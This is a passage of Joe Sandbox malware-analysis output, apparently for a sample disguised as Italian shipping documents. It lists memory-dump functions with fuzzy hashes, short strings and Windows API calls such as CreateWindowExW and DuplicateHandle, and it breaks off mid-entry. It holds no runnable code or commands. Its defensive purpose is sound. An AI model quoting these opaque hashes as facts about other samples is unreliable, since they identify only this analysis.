Opcode Fuzzy Hash: a2616179692c4e1abb879225b178bf75b2af5c8479e94edae9af581abfaaa7dc
Instruction Fuzzy Hash: 7A513E70B002069FEB55DB78D850B6EB3F6EF88744F10856AC509EB395EA319C478B91

Function 38CF4C60 Relevance: 2.6, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fbq, xrefs: 38CF4C93
XPbq, xrefs: 38CF4DB9

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: fbq$XPbq
API String ID: 0-2292610095
Opcode ID: 6311d154435037ae2d79d2e199df9d4862c3e01e0d20228b488b93cd02345c78
Instruction ID: b0f8e8895d4647253abdd18a9384307e2a3156e3f885aed216a4d355fbb2fb08
Opcode Fuzzy Hash: 6311d154435037ae2d79d2e199df9d4862c3e01e0d20228b488b93cd02345c78
Instruction Fuzzy Hash: 40515D70E002089FEB549FB5C855BAEBAF6AF88700F208529E105AB395DA758D468F91

Function 000DA101 Relevance: 2.6, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 000DA101
8, xrefs: 000DA109

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: 5$8
API String ID: 0-67872593
Opcode ID: bb5e513ac971d0d2d690b165c22daa4ac20a389d081638b37b1c56ea6e1cd36b
Instruction ID: 6ac55c76d9e08e6d7e1f0a9fd13f08428b589d20bf5468ef6b579254b19d0dc6
Opcode Fuzzy Hash: bb5e513ac971d0d2d690b165c22daa4ac20a389d081638b37b1c56ea6e1cd36b
Instruction Fuzzy Hash: 30319335E0020A9BCB15CF65D85069EF7B2FF86300F14C62AE815BB340DB749C86CB91

Function 38CED7E4 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38CED902

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7a29d1c2245a3ebddbfbf488c220b7fb8dc13af1f9fa2bdf06f727ec5d9ed950
Instruction ID: 44fb7b505251a44a147fb58c67ef38fa12ad1a70d39ad54be52d7c71ffa07d08
Opcode Fuzzy Hash: 7a29d1c2245a3ebddbfbf488c220b7fb8dc13af1f9fa2bdf06f727ec5d9ed950
Instruction Fuzzy Hash: 0951B1B5D00349DFDB14CFA9C994ADEBBB5FF48310F20812AE819AB210D775A885CF91

Function 38CED7F0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 38CED902

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2abe91f82278612d1263ac92a2d4081280b898f0b0255946e15a07bab4999f44
Instruction ID: 20b4d194f1be96e481855d4ce42e32ac0b139f964f7d5c2ff1f9a8955550b666
Opcode Fuzzy Hash: 2abe91f82278612d1263ac92a2d4081280b898f0b0255946e15a07bab4999f44
Instruction Fuzzy Hash: 7F41CFB5D00349DFDB14CFAAC894ADEBBB5BF48310F20812AE918AB210D775A845CF91

Function 39200040 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39200101

Memory Dump Source

Source File: 00000004.00000002.3269230698.0000000039200000.00000040.00000800.00020000.00000000.sdmp, Offset: 39200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39200000_Documenti di spedizione.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 9b42d2aed6f2521ae58587b1ab71272b37b79d532ad7cc662d51fa96ffb1b671
Instruction ID: 5cefe1caab4fe7f84dedefd7e8cc3b86de0680d37f3697c5939941bc919727e8
Opcode Fuzzy Hash: 9b42d2aed6f2521ae58587b1ab71272b37b79d532ad7cc662d51fa96ffb1b671
Instruction Fuzzy Hash: 544115B8A007098FDB04CF99C848A9AFBF5FB89314F248459D518AB321D375A841CFA0

Function 38CE3450 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38CE34DF

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c5a5169d59821130363a95aedba5c6bf3928a5be4be472cdb6442beadb336104
Instruction ID: 657ac945059010cf960d4b6b2ed1735bf20271817f5072ecbc87ce0cab6005a0
Opcode Fuzzy Hash: c5a5169d59821130363a95aedba5c6bf3928a5be4be472cdb6442beadb336104
Instruction Fuzzy Hash: 2221F2B59002489FDB10CFAAD984ADEBFF8EB49310F14805AE918A7210D378A940CFA1

Function 38CE3458 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 38CE34DF

Memory Dump Source

Source File: 00000004.00000002.3268996018.0000000038CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38ce0000_Documenti di spedizione.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b27962ee665d275b51af9a97e556390886efbeeed80841acfbed19e4570e541d
Instruction ID: 28a5e8a8aa589394388edcac502b067b002d5a9014b2e9bc2f4dcbfa1543664f
Opcode Fuzzy Hash: b27962ee665d275b51af9a97e556390886efbeeed80841acfbed19e4570e541d
Instruction Fuzzy Hash: 8821E2B59002089FDB10CFAAD984ADEFFF9FB48310F14801AE918A3310D378A940CFA5

Function 39202570 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 392025CD

Memory Dump Source

Source File: 00000004.00000002.3269230698.0000000039200000.00000040.00000800.00020000.00000000.sdmp, Offset: 39200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39200000_Documenti di spedizione.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 943125126bcfbb7e8a60c2e6c835ab56f3275f80eae7542c59c4f05da8e2d277
Instruction ID: f9b223ca3e649ef90660bbc1c1b14ed6b42dd9b96ed59b98006e93b2f1d8d9c3
Opcode Fuzzy Hash: 943125126bcfbb7e8a60c2e6c835ab56f3275f80eae7542c59c4f05da8e2d277
Instruction Fuzzy Hash: 3711F2B59006498FCB20DFAAD944B9EBFF8EB49320F20845AD518A7250D379A944CFA5

Function 39201780 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 392025CD

Memory Dump Source

Source File: 00000004.00000002.3269230698.0000000039200000.00000040.00000800.00020000.00000000.sdmp, Offset: 39200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39200000_Documenti di spedizione.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2a0dbd614558c5a5d12336d1df4b3cb9fe9f15bdd307425d7389c3cc49f9fa16
Instruction ID: 2e5f0d413d293a9f4e667a6000ccae025d0843d2f62728af9d5a38163760a90d
Opcode Fuzzy Hash: 2a0dbd614558c5a5d12336d1df4b3cb9fe9f15bdd307425d7389c3cc49f9fa16
Instruction Fuzzy Hash: 141103B5D047488FCB20DF9AD548B9EBFF4EB49310F20845AD519A7310D378A940CFA5

Function 000DF2C6 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

PH]q, xrefs: 000DF592

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 5288100b015cf30250111b58f3c05788ac21077fb5a8d0cc67c6bbf6d35c6e2c
Instruction ID: 2651e927e2c28d33a6d0ddf07a205fdf5e1ba6ef6181c103b223702d17c05a81
Opcode Fuzzy Hash: 5288100b015cf30250111b58f3c05788ac21077fb5a8d0cc67c6bbf6d35c6e2c
Instruction Fuzzy Hash: E371DF31B002069FDB559F68E8506BEB7E2EF88350F24843AD506EB385DB35DD46CBA1

Function 000D7CA0 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

LR]q, xrefs: 000D7DDD

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: be0b52e14a7fcad3b16752f60e1d75b316e8acaa5cf4a38898680899e792b76f
Instruction ID: db7acd8e272933487e0b379825fb1eae9cd50caa0f2b093cd9476f2cdbe0f0ba
Opcode Fuzzy Hash: be0b52e14a7fcad3b16752f60e1d75b316e8acaa5cf4a38898680899e792b76f
Instruction Fuzzy Hash: 8D317070E143199BDB24CBA5C8507AEBBB2FF95304F60446AE406EB340E7749C42CB61

Function 38CFDB7D Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

PH]q, xrefs: 38CFDCD9

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: ac611d762805e5e6bc43f706489b078f2a106f5cff17789b5ad3e10e4c65f8a6
Instruction ID: 4ce1d517f686698ef64a0a89dc58660cc4fcd782045627363015ef2df5af39d7
Opcode Fuzzy Hash: ac611d762805e5e6bc43f706489b078f2a106f5cff17789b5ad3e10e4c65f8a6
Instruction Fuzzy Hash: 9A41CF70A0034ADFEB44DF65C86469EBBB6FF85380F208539D505EB240EB769947CB91

Function 000DF480 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

PH]q, xrefs: 000DF592

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: cf679ae4f4cb8f7a271ec45c95c75b37e2d0672e2998e27797dd882c36933ef8
Instruction ID: b935e0da0113f9d32c68a182ccec4e682fb32ab88e043796f247c668755686fb
Opcode Fuzzy Hash: cf679ae4f4cb8f7a271ec45c95c75b37e2d0672e2998e27797dd882c36933ef8
Instruction Fuzzy Hash: 0931E230B002069FDB189F34A5106AE77E6EF85710F208539D506DB359DE35DD02CBA5

Function 38CF21F8 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH]q, xrefs: 38CF2333

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: PH]q
API String ID: 0-3168235125
Opcode ID: 24ceb69f4c4d234ab4e76f1ea8adfe33de2aeaaee3c6ebd119ca692b69587a6a
Instruction ID: 13ce40e11ae04eefccdfdd31edc1e5f4af8738574a596ae1dda94de37ad1802d
Opcode Fuzzy Hash: 24ceb69f4c4d234ab4e76f1ea8adfe33de2aeaaee3c6ebd119ca692b69587a6a
Instruction Fuzzy Hash: FD31FE307002018FEB48AB74D5646AF3AE7AF89650F208538D006EB395DE3ADD06CBA5

Function 000D7D58 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

LR]q, xrefs: 000D7DDD

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 5409065b28c0767a785ce3192a709183202de01be8ee3eb8bfa23c53187a06bc
Instruction ID: 7b624d888fd742eb4ca44903a9770e87036869e4e8502ec4d76cf676a23dc245
Opcode Fuzzy Hash: 5409065b28c0767a785ce3192a709183202de01be8ee3eb8bfa23c53187a06bc
Instruction Fuzzy Hash: 7E317070E143199BDF24CBA5C8447AEBBB2FF95314F20846AE50AEB340E7749C42CB61

Function 000D269C Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

5, xrefs: 000D269D

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: fa0750ef486012602d9ebe6c8bf026aa03d36c149fc5aa508045bbe3c33e84a4
Instruction ID: 2d015375ab79764c896e33c68f4f2e07b164844121072c00a2298740d76db311
Opcode Fuzzy Hash: fa0750ef486012602d9ebe6c8bf026aa03d36c149fc5aa508045bbe3c33e84a4
Instruction Fuzzy Hash: B041EFB09003499FDB10CFA9C584ADEBFF5FF48310F24802AE809AB254DB75A945CBA1

Function 000D1839 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

5, xrefs: 000D1839

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 60707af0bceeec9288b6b8f4ced6c7b87626cac3695bc74b1c0529e4e0334473
Instruction ID: 5966f7362fdeeac91f3603b01498947f199efabb1f3b410885680556269a1974
Opcode Fuzzy Hash: 60707af0bceeec9288b6b8f4ced6c7b87626cac3695bc74b1c0529e4e0334473
Instruction Fuzzy Hash: B5215A30A01344AFDB54EB68C5247EE77F6AF49345F1004AAD506AB3A1DF358D41CBA1

Function 000DE29D Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

|, xrefs: 000DE2F8

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 2bdaf7ccc03c35bf4449579cdc67d2c5142c9d97b562097f1349a792144111fa
Instruction ID: eaf69e230b9862e74401cd9d34877855337640f4251dc1b31a7fe74a8f10b529
Opcode Fuzzy Hash: 2bdaf7ccc03c35bf4449579cdc67d2c5142c9d97b562097f1349a792144111fa
Instruction Fuzzy Hash: 76115E74B002549FDB54AF78C804BADBBF1AF88700F14846AE50AEB3A0DB799D018B90

Function 000DE7F9 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

8, xrefs: 000DE800

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: f8e966d0ef2a3fae75a63b3d952f4b28ce4b4ab2d659ab6d16fbfe39f5ff36a0
Instruction ID: 763432b1a055bcc10fdcc537c960aa4780fdaecabd55c27cb8fd74ddf5cf46e8
Opcode Fuzzy Hash: f8e966d0ef2a3fae75a63b3d952f4b28ce4b4ab2d659ab6d16fbfe39f5ff36a0
Instruction Fuzzy Hash: ED115932F147C10BC3066B7598100A6BBE69FD6210B1986FBD909C7292EE70DC89C391

Function 000DE2A8 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

|, xrefs: 000DE2F8

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 895ca9ca6396580480f3cb093655caeb1eb255355ee6754ba435194e0684988f
Instruction ID: f1b680ca044be367264b5aa2788e74357cca2c1591490208be3b554748cea6b4
Opcode Fuzzy Hash: 895ca9ca6396580480f3cb093655caeb1eb255355ee6754ba435194e0684988f
Instruction Fuzzy Hash: F8116D70F002149FDB54EF78C808BAEB7F5AF48700F14846AE50AEB3A0DB359D018B91

Function 000D6B60 Relevance: 1.3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

Strings

LR]q, xrefs: 000D6B97

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 7574fd0ac0ea5d7fd5ee599919a28626c947b887bd07a23a1b8ddda31d3df37f
Instruction ID: d7bc851d4179a899708936a61081863f5141469de85c29241f02533ea3f3818c
Opcode Fuzzy Hash: 7574fd0ac0ea5d7fd5ee599919a28626c947b887bd07a23a1b8ddda31d3df37f
Instruction Fuzzy Hash: 0511C8317082445FC716AF7994246EE3BF1DF86704F1048AFD049CB396DE369945CB92

Function 38CF8390 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

$]q, xrefs: 38CF83DB

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: $]q
API String ID: 0-1007455737
Opcode ID: ecaaabea29841c03aabc794e49c726f053b24a5551e70a7d02019b9a786491e1
Instruction ID: 6dfc44f3eb9ebb29168844704b2220363c332b4ce7984df4fe874b7668081a18
Opcode Fuzzy Hash: ecaaabea29841c03aabc794e49c726f053b24a5551e70a7d02019b9a786491e1
Instruction Fuzzy Hash: 78F0AF75700201CBFF988E59EAA06AD7BA5FF44354F504036D904D7361CB36D92BCB50

Function 000DE7C1 Relevance: 1.3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

Strings

8, xrefs: 000DE7C8

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 3e64d4a97f72f690a2b4e33351055ed571c901744d1645aaa5f5c76b3a9d8549
Instruction ID: ec25eac9c4d2b5e722169f85aaecc3ee30bea34e071a8fa90079615766ad9fc7
Opcode Fuzzy Hash: 3e64d4a97f72f690a2b4e33351055ed571c901744d1645aaa5f5c76b3a9d8549
Instruction Fuzzy Hash: C5D02B3050D7E06FD3766658D0443957FDC5F42744F1980EAF44646181DE545C89C390

Function 000D874B Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1f80114940ff1ddfdfa7dbefc3f06da88e69171802579b6e4acc37221570e4
Instruction ID: 861e9d3067656d020fcc07782a35f9af88fdef771cc2c7614ecd43bfd02543ee
Opcode Fuzzy Hash: 7c1f80114940ff1ddfdfa7dbefc3f06da88e69171802579b6e4acc37221570e4
Instruction Fuzzy Hash: EF229E30700205ABCB19AB28E89166873A7EFC5359B24893EE045DB365CF79EC47DB91

Function 000D875B Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a047192391157708be29e8041f515c1ca92e906b25b60d1b605685573b0e8f
Instruction ID: 2c62d878d73d4e3f193ff5f195aed87b441b83368f9dc93f5b88b27979b5464b
Opcode Fuzzy Hash: f6a047192391157708be29e8041f515c1ca92e906b25b60d1b605685573b0e8f
Instruction Fuzzy Hash: 7B128E30700205AFCB19AB28E85166873A7EFC5359B24893EE045DB365CF79EC47DB91

Function 000D876B Relevance: .6, Instructions: 551COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1635cfe4768fe8bd220a179a1e20209874d5f97151f22083a17c1bc54d496cd
Instruction ID: 78b078472fcc9d8d10d824f272bcf3550bd0d06d1b5c9a748b9da178c32fe2a0
Opcode Fuzzy Hash: a1635cfe4768fe8bd220a179a1e20209874d5f97151f22083a17c1bc54d496cd
Instruction Fuzzy Hash: 7D128E30700205ABCB19AB28E85166C73A7EFC5359B24893EE045DB365CF79DC47DB91

Function 38CF59C0 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f440b095954f15a85de725b1d4bdd421d5fd8c63b576be92ec723b2b810bdd94
Instruction ID: 9f3dd396073aeb03bb318de4b2a3f88aad7424c17a6f167cfa505695168ddcf0
Opcode Fuzzy Hash: f440b095954f15a85de725b1d4bdd421d5fd8c63b576be92ec723b2b810bdd94
Instruction Fuzzy Hash: B0B19F34F002059BEB54DFA4D99069EB7B6AF84754F208438E906EB346DB35ED47CB80

Function 38CFB318 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3779d217262e4c3442a3f315fa91704ed13c24062124b6c4afff2b93e00135
Instruction ID: 51ada0fd7ccde0980e2941de95f1d9624afb457e49e2e24e8929390733e25045
Opcode Fuzzy Hash: bc3779d217262e4c3442a3f315fa91704ed13c24062124b6c4afff2b93e00135
Instruction Fuzzy Hash: B8A17274B00209CFFB54CB69D59079D7BB6EB89350F604835E409EB396CB3ADC868B52

Function 000D417D Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98aa8459b4a1d87f612d675c0de87cf90b5c1b63d6cbe07108ccb6653c3f83ed
Instruction ID: b751c76fbda860835839fdb1ae55959ebec5fb0692452f98351fc0f626b23020
Opcode Fuzzy Hash: 98aa8459b4a1d87f612d675c0de87cf90b5c1b63d6cbe07108ccb6653c3f83ed
Instruction Fuzzy Hash: EEB12C70E00309CFDF54CFA9D9857ADBBF1AF88314F14812AE819A7354EB749985CBA1

Function 000D4A4D Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3efbee90dc92abb9cfeec4d8d4cef5afbc60f0fbf1901d0e326fd3281b358912
Instruction ID: 3e4050038887b2f88b0e4e7de60e78cc3d1a3d14c5b7c1368600bcb43733428c
Opcode Fuzzy Hash: 3efbee90dc92abb9cfeec4d8d4cef5afbc60f0fbf1901d0e326fd3281b358912
Instruction Fuzzy Hash: ADA13D70E10309CFDF50CFA9C98579DBBF2AF88714F14812AD819A7354EB749885CBA5

Function 38CF6DD8 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17df85b2c3f130ca7b9bb30671452a5ab08c012c7ac49d2caeebd01ae5071a9
Instruction ID: cd619ccf2e6c1597e67c8e18ab19a014c251e02a33c7856041bec910ce54b35c
Opcode Fuzzy Hash: f17df85b2c3f130ca7b9bb30671452a5ab08c012c7ac49d2caeebd01ae5071a9
Instruction Fuzzy Hash: 53A16534A002448FEB54DF68D548A8DB7E6EF88354F558879E40AEB351DB76EC46CB80

Function 000DDE58 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f22f8b4f0a29e23b107b5dc65cb5502de9025b916c514bb03471cafffb5d86
Instruction ID: ef30f3aa8ff6cba5212ae5de62747e0b55c563d09a213387fea4bf06837a741a
Opcode Fuzzy Hash: 21f22f8b4f0a29e23b107b5dc65cb5502de9025b916c514bb03471cafffb5d86
Instruction Fuzzy Hash: F391B070B003129FDB15DF28C880A2ABBA6FF85314F248566D409DB396CB35EC82C7A1

Function 38CFB9E1 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3269014634.0000000038CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38cf0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 673c171e1c4ad2256773d2a7f52da5754a35ff62293b97c23e89e861e3b17913
Instruction ID: 4246796844d6344af7cdbb32340e56a3a5955711d7437901231052b9b640b529
Opcode Fuzzy Hash: 673c171e1c4ad2256773d2a7f52da5754a35ff62293b97c23e89e861e3b17913
Instruction Fuzzy Hash: 4FA14A78A00209CFFB94CF68D480B8DB7B6FB45354F208536E459DB651DB3AE982CB51

Function 000D3E34 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3246340704.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2d41500310b9e94b9f9a8932ce792fae11b18efa56507cd844ff8083ae40c5
Instruction ID: 517ad8620cf416686cebefa55db30e1bb292f2f90194a8793cab42c9ed248a5a
Opcode Fuzzy Hash: 8c2d41500310b9e94b9f9a8932ce792fae11b18efa56507cd844ff8083ae40c5
